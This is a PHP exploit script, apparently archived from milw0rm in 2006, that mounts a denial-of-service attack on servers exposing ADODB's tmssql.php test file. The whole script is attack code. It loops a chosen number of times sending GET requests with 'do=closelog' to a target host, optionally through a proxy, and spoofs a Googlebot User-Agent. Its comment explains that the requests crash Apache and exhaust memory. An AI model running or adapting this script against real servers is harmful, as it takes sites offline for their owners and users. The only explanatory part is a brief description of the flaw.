107 lines
No EOL
3 KiB
PHP
107 lines
No EOL
3 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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echo "ADODB tmssql.php Denial of service\r\n";
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echo "by rgod rgod@autistici.org\r\n";
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echo "site: http://retrogod.altervista.org\r\n\r\n";
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if ($argc<4) {
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echo "Usage: php ".$argv[0]." host path redo OPTIONS\r\n";
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echo "host: target server (ip/hostname)\r\n";
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echo "path: path to ADODB\r\n";
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echo "redo: how many times?\r\n";
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echo "Options:\r\n";
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echo " -p[port]: specify a port other than 80\r\n";
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echo " -P[ip:port]: specify a proxy\r\n";
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echo "Examples:\r\n";
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echo "php ".$argv[0]." localhost /some_app/ 9999999\r\n";
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echo "php ".$argv[0]." localhost /some_app/ 9999999 -p81\r\n";
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echo "php ".$argv[0]." localhost /some_app/ 9999999 -P1.1.1.1:80\r\n";
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die;
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}
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/*
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tested against Apache/1.3.27 (Win32) PHP/4.3.3
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closelog() func close the connection to the system logger, but if its handle
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is never initialized, Windows exception is raised by the php4ts.dll
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module at address 0x00000000100bf014.
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By sending multiple requests to the tmssql.php script, which allow
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execution of an arbitrary function without arguments, this will cause
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the Apache process to crash and to consume a large amount of memory
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*/
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port."\r\n";
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';
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}
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}
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fputs($ock,$packet);
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fclose($ock);
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}
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$host=$argv[1];$path=$argv[2];$redo=$argv[3];
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$port=80;$proxy="";
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for ($i=4; $i<=$argc-1; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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}
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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for ($i=1; $i<=$redo; $i++)
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{
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$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=closelog HTTP/1.0\r\n";
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$packet.="User-Agent: Googlebot/2.1\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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sendpacketii($packet);
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echo $packet;
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}
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?>
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# milw0rm.com [2006-04-09]
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